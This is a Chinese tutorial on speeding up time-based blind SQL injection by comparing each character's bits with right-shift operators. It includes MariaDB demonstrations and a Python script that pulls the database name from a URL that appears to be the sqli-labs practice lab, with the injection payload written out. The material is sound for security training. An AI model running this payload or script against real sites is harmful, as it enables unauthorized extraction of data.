利用位运算符号提高延时注入效率
前置知识
右移位运算符是将一个二进制数按指定移动的位数向右移动。右位移: 将一个运算对象的各二进制位全部右移若干位, 正数左补0, 负数左补1, 右边多余的位数去掉; 右移 1 位相当于除 2, 右移 n 位相当于除 2 的 n 次方.如下例所示:
MariaDB [test]> select ascii(b'01110011');
ERROR 2006 (HY000): Server has gone away
No connection. Trying to reconnect...
Connection id: 32
Current database: test
+--------------------+
| ascii(b'01110011') |
+--------------------+
| 115 |
+--------------------+
1 row in set (0.007 sec)
MariaDB [test]> select ascii(b'01110011') >> 1;
+-------------------------+
| ascii(b'01110011') >> 1 |
+-------------------------+
| 57 |
+-------------------------+
1 row in set (0.000 sec)
MariaDB [test]> select ascii(b'01110011') >> 7;
+-------------------------+
| ascii(b'01110011') >> 7 |
+-------------------------+
| 0 |
+-------------------------+
1 row in set (0.000 sec)
MariaDB [test]> select ascii(b'01110011') >> 6;
+-------------------------+
| ascii(b'01110011') >> 6 |
+-------------------------+
| 1 |
+-------------------------+
1 row in set (0.000 sec)
MariaDB [test]> select ascii(b'01110011') >> 5;
+-------------------------+
| ascii(b'01110011') >> 5 |
+-------------------------+
| 3 |
+-------------------------+
1 row in set (0.000 sec)
MariaDB [test]> select ascii(b'01110011') >> 0;
+-------------------------+
| ascii(b'01110011') >> 0 |
+-------------------------+
| 115 |
+-------------------------+
1 row in set (0.000 sec)
利用这种方式,我们可以将单个的字符,先转换成ascii,在转换成二进制位,通过右位移的方式来对每个二进制位进行比较0或者1,通过8次的对比就可以获取到相应的二进制位,在通过二进制位计算出ascii值并转换成字符既可以得到相应的结果。
# -*- coding:utf-8 -*-
import requests
import time
def bitOperation(url,delay):
result = "" # 存储获取的查询结果
url_bak = url
# 外层循环由查询结果字符的长度控制,内层循环即为固定的7次位运算
for len in range(1, 777): # 此处长度可控,也可以不做判断直接给一个很长的数字
char = '0' # 设置当前字符的ascii码二进制的第一位默认为0,因为是正数
for i in range(7, -1,-1):
url = url.format(len, i, int(char + '0', 2)) # int(char + '0', 2) 解释为二进制表示,并将其转换为对应的整数。表示假设其第二位为0,若相等即条件为真,否则为假
start_time = time.time() # 记录请求开始时间
r1 = requests.get(url) # 发送第一个请求
end_time = time.time() # 记录请求结束时间
elapsed_time = end_time - start_time # 计算请求延时时间
if elapsed_time > delay:
char += '0'
print('进入0:', char)
else:
char += '1'
print('进入1:', char)
url = url_bak
# 二进制转换成十进制,也就是ascii码(chr() 函数将该整数视为 ASCII 码值,并将其转换为对应的字符),再将ascii码转换成字符累加到result变量上
result += chr(int(char, 2))
print(result)
if int(char, 2) == 0: # 不再作判断长度, 当ascii码为00000000时自动退出(多发7个请求)
print("已超过此次查询字符串的长度,自动停止")
return result
if int(char, 2) == 127: # ascii最多127个,127为del
print("查询内容不存在或语法错误...")
return result
return result
def main():
url = "http://192.168.91.129/Less-5/?id=1' and (select if ((ascii((substr(database(),{},1))) >> {} )={} ,sleep(3), 'false'))-- -"
delay = 2
bitOperation(url,delay)
if __name__ == "__main__":
main()
参考文章:
https://xz.aliyun.com/t/9302#toc-3
https://www.exploit-db.com/papers/17073
https://xz.aliyun.com/t/3054